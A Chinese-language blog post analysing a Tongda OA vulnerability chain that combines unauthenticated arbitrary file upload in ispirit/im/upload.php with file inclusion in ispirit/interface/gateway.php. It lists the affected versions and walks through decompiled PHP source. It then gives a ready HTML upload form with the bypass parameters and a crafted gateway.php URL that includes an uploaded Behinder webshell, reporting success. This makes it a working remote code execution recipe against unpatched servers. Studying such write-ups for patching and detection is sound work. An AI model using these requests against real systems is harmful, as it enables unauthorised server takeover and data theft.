首页 > 系统相关 >通达OA 任意文件上传+文件包含 getshell

通达OA 任意文件上传+文件包含 getshell

时间:2023-12-28 18:24:57浏览次数:34  
标签:文件 getshell UID url OA DEST json 上传

漏洞影响版本

通达OA V11版 <= 11.3 20200103
通达OA 2017版 <= 10.19 20190522
通达OA 2016版 <= 9.13 20170710
通达OA 2015版 <= 8.15 20160722
通达OA 2013增强版 <= 7.25 20141211
通达OA 2013版 <= 6.20 20141017

漏洞分析

根据网上的文章可以知道任意文件上传的漏洞点在ispirit/im/upload.php这个文件里面,首先搭建好这个OA,下载好版本之后直接点击exe就能自动进行配置

然后使用phpstorm载入源码,注意这里的OA源码是加密的,必须得解密,使用zend工具或者SeayDzend工具进行解密然后载入就不会是乱码

然后开始分析,这个文件有一个upload的函数可以进行文件上传,所以我们必须让代码执行到文件上传的这个函数

首先就可以看到p的变量,这里使用post进行接受数据,然后判断p是否设置或者是否为空,如果不为空就包含session.php否则就载入问及那auth.php,这个是一个身份验证的文件

$P = $_POST["P"];
if (isset($P) || ($P != "")) {
	ob_start();
	include_once "inc/session.php";
	session_id($P);
	session_start();
	session_write_close();
}
else {
	include_once "./auth.php";   // 身份验证
}

直接访问文件就是用户未登录

然后添加post参数,然后访问发现并没有用户未登录的提示,说明这里的参数可以绕过登录

然后下面的代码就是对DEST_UID的一个简单判断

$DEST_UID = $_POST["DEST_UID"];  // 使用post接受dest_uid的数值
$dataBack = array();
if (($DEST_UID != "") && !td_verify_ids($ids)) {    // 这里可以跟进td_verify_ids,这里判断的就是传入的参数是否为数字和逗号
	$dataBack = array("status" => 0, "content" => "-ERR " . _("接收方ID无效"));
	echo json_encode(data2utf8($dataBack));
	exit();
}

接下来就是判断DEST_UID的数值,如果传入的参数有逗号。也就是(strpos($DEST_UID, ",")的值为true,那么就不执行代码,反之如果没有逗号就使用intval强制转换数值,然后接下来就是判断强制转换后的DEST_UID的值,如果为0继续往下执行,然后如果这个UPLPAD_MODE不等于2,那么就执行下面的代码,输入错误信息,这边的话就可以让DEST_UID不等于0就可以绕过这个报错,比如让DEST_UID等于1

if (strpos($DEST_UID, ",") !== false) {
}
else {
	$DEST_UID = intval($DEST_UID);
}

if ($DEST_UID == 0) {
	if ($UPLOAD_MODE != 2) {
		$dataBack = array("status" => 0, "content" => "-ERR " . _("接收方ID无效"));
		echo json_encode(data2utf8($dataBack));
		exit();
	}
}

然后继续下面的代码

首先这里使用了$_FILES函数,这个是一个全局的变量,如果是上传一个文件,那么就是而且数组,多个文件上传就是三维数组,以下是这个函数的例子,可以理解为我们上传的文件所有的信息都在这个变量里面。

$_FILES数组内容如下: 
$_FILES['File']['name'] 客户端文件的原名称。 
$_FILES['File']['type'] 文件的 MIME 类型,需要浏览器提供该信息的支持,例如"image/gif"。 
$_FILES['File']['size'] 已上传文件的大小,单位为字节。 
$_FILES['File']['tmp_name'] 文件被上传后在服务端储存的临时文件名,一般是系统默认

然后这里的话使用了count的函数进行统计上传文件的个数,如果上传文件的格式>=1那么就继续下面的执行,然后判断UPLOAD_MODE变量的值是否等于1,如果等于1,那么尝试对上传文件的文件名进行解码。它使用 urldecode() 函数尝试解码文件名,然后比较解码前后的文件名长度。如果两者不相等,说明文件名经过了 URL 编码,于是会将解码后的文件名赋值给 $_FILES["ATTACHMENT"]["name"],以替换原始的文件名。这里其实不用管这个条件,因为我们要想执行的upload函数并没有在这个判断里面,就算不满足也会执行我们想要的函数
然后下面就是我们的关键代码

里面有三个参数,跟进查看
这一部分是对MOULE的变量进行判断,如果包含斜杠和反斜杠,并且output变量的值为false,这个变量在前面的upload文件里面已经设置好了为false,那么就返回一个错误,并退出

然后这两句代码

的意思就是初始化一个ATTCHMENTS的数组,然后里面有ID和NAME的key,之后使用reset重置这个FILES变量,让这个内部的指针执行第一个元素,后续如果需要对这个FILES变量进行遍历,就能从第一个文件信息进行遍历
继续下面的代码

这里就是检查上传文件的错误码然后对应错误码丢出对应的错误信息,里面有对文件的名称,大小进行判断,如果最后没有问题就返回数组ATTACHMENTS

然后分析upload的文件

这里判断了ATTACHMENTS是否是数组,然后下面的ID和NAME就是刚刚在upload里面设置的空数组,如果上传成功,这个变量就是有值的。
最后面就是三种模式

第一种就是对上传的文件形成一个缩略图,总的来说就是对上传之后的文件进行处理

漏洞验证

上面我们知道要想上传文件必须满足几个条件

1 必须要有P参数 这里是绕过身份验证
2 DEST_UID =1 这个是为了绕过那个强制等于2的条件
3 $UPLOAD_MODE =1,2,3 这里必须选择一种模式,因为upload函数里面必须进行指定
4 upload函数里面还有一个表单的名称,我们上传之后文件的信息就会保存到这个ATTACHMENT里面


然后必须满足上面4个条件才能进行文件上传
首先自己写一个文件上传的html界面

<html>
<body>
<form action="http://192.168.9.13/ispirit/im/upload.php" method="post" enctype="multipart/form-data">
<input  type="text"name="P" value=1></input>
<input  type="text"name="UPLOAD_MODE" value=1></input>
<input type="text" name="DEST_UID" value=1></input>
<input type="file" name="ATTACHMENT"></input>
<input type="submit"></input>
</body>
</html>


因为我们必须知道上传文件的路径,可以使用网上的文件监控的脚本进行监控,把这个python上传到OA的安装目录然后python执行


之后上传我们的文件

然后查看脚本监控到的文件

点击查看是否有这个文件

这就是这个文件上传的漏洞利用,但是这个文件不是上传到网站根目录,无法直接利用,所以就需要用文件包含漏洞进行执行

文件包含

这个漏洞的地址网上公开的是

// 如果存在变量 $P,则执行以下逻辑
if ($P != "") {
    // 如果 $P 中包含非法字符,则输出“非法参数”并结束脚本执行
    if (preg_match("/[^a-z0-9;]+/i", $P)) {
        echo _("非法参数");
        exit();
    }

// 如果存在变量 $json,则执行以下代码
if ($json) {
    // 使用stripcslashes函数去除转义字符和将 $json 转换为数组形式
    // stripcslashes() 函数删除由 addcslashes() 函数添加的反斜杠
    $json = stripcslashes($json);
    // 转换为数组形式
    $json = (array) json_decode($json);
    // 遍历 $json 数组
    foreach ($json as $key => $val ) {
        // 如果键为"data",将其值转换为数组形式
        if ($key == "data") {
            $val = (array) $val;
            // 再次遍历$val数组,但最终赋值给$keys变量的是最后一个$value
            foreach ($val as $keys => $value ) {
                $keys = $value;
            }
        }
        // 如果键为"url",将其值赋给$url变量,这里就可以构造url进行文件的包含
        if ($key == "url") {
            $url = $val;
        }
    }
    // 如果$url不为空
    if ($url != "") {
        // 如果$url的开头是"/",则去除开头的"/"
       // substr函数 substr(string,start,length)
        if (substr($url, 0, 1) == "/") {
            $url = substr($url, 1);
        }
        // 如果$url包含特定字符串("general/"、"ispirit/"或"module/"),则包含对应文件
        // strpos(string,find,start) 返回字符串在需要搜索的字符串第一次出现的位置
        /*
           <?php
              echo strpos("Hello world!","wo");
           ?>
              这将会输出6
        */
        if ((strpos($url, "general/") !== false) || (strpos($url, "ispirit/") !== false) || (strpos($url, "module/") !== false)) {
            include_once $url;
        }
    }
    // 结束脚本执行
    exit();
}
?>

然后尝试上传木马,这里使用冰蝎的木马

直接访问文件地址,(这里的文件地址当上传的时候就会出现,然后自己进行拼接即可)返回空白说明文件上传成功并且已经包含,然后使用冰蝎进行连接

http://192.168.9.13/ispirit/interface/gateway.php?json={%22url%22:%22../../general/../../attach/im/2312/1218173520.123456.txt%22}


成功!!!

标签:文件,getshell,UID,url,OA,DEST,json,上传
From: https://www.cnblogs.com/ArcherCY/p/17933295.html

相关文章

  • Linux统计文件夹下的文件数目
    @https://noahsnail.com/2017/02/07/2017-02-07-Linux统计文件夹下的文件数目/统计当前目录下文件的个数(不包括目录)ls-l|grep"^-"|wc-l统计当前目录下文件的个数(包括子目录)ls-lR|grep"^-"|wc-l查看某目录下文件夹(目录)的个数(包括子目录)ls-lR|grep"^d"|......
  • PHP实现视频文件上传完整实例
    本文以一个完整实例的形式实现了视频文件上传的功能。虽然是比较基础的应用,仍有一定的参考价值。分享给大家供大家参考之用。具体方法如下:首先,对PHP来说视频也属于文件,我们利用这个道理,可以通过与上传普通文件类似的方式实现上传PHP视频文件。不同的是视频文件一般较大,上传时间长......
  • 使用C#如何监控选定文件夹中文件的变动情况?
    目录✨1、前言2、效果3、具体实现​页面设计​全部代码​FileSystemWatcher的介绍​FileSystemWatcher的构造函数​FileSystemWatcher的属性​FileSystemWatcher的事件4、总结前言✨有时候我们......
  • kaggle使用tensorboard
    参考:https://www.cnblogs.com/jhy-ColdMoon/p/17341992.html需要使用Ngrokimportosimportmultiprocessing!wgethttps://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-amd64.zip!unzipngrok-stable-linux-amd64.zip!./ngrokauthtoken[自己的token]pool=multip......
  • (打标修改)读取每个文件夹内的txt,加入逗号后加入数据前
    importosdefrename_images_in_folder(folder_path,txt_prefix):"""在指定文件夹中重命名所有图片文件,将给定的txt_prefix添加到每个文件名的开头。"""forfilenameinos.listdir(folder_path):#检查文件是否为图片(简单地通过文件扩展名判断)......
  • 运行编译生成的共享库文件
    1、将生成的整个文件目录拷贝到用户目录下,如:/home/wqz/gzgldw目录gzgldw下包含两个目录bin和lib,目录bin下的gzgldw即为可执行的共享库文件,目录lib下是程序用到的库文件和其他相关目录及文件等。2、默认共享库文件gzgldw打开方式是文本编辑器,双击运行如果以默认打开方式......
  • react 文件选择器
    exporttypeFileSelectorType={emit:boolean;type:"file"|"dir";callBack:(path:string,fileList:FileList)=>void;};exportconstFileSelector=(props:{upload:FileSelectorType})=>{useEffect(()=>{......
  • [JDK] 底层大法之替换JAR包中的class文件 [转载]
    0序背景近期跟踪一个第三方组件skywalking针对springcloudgateway的traceId丢失问题,需要对skywalking内部组件类进行跟踪,需要在其组件源码内部添加一些观察代码,做以增强。Q1:我没有thrid-party.jar的源码————故直接在源码上修改,然后打包(此法行不通)Q2:反编译......
  • python 将文件移入回收站
     python如果要删除一个文件,通常使用os.remove(filename)但是这样就直接从磁盘删除了。有些文件需要删除到回收站,以便误删后还能找回文件fromwin32com.shellimportshell,shellcondebug=Falsedefdeltorecyclebin(filename):print('deltorecyclebin',filename)......
  • python 文件读写权限 PermissionError: [Errno 13] Permission denied
    概述os.chmod()方法用于更改文件或目录的权限。语法chmod()方法语法格式如下:os.chmod(path,mode)参数path --文件名路径或目录路径。flags --可用以下选项按位或操作生成,目录的读权限表示可以获取目录里文件名列表,,执行权限表示可以把工作目录切换到此目录,删......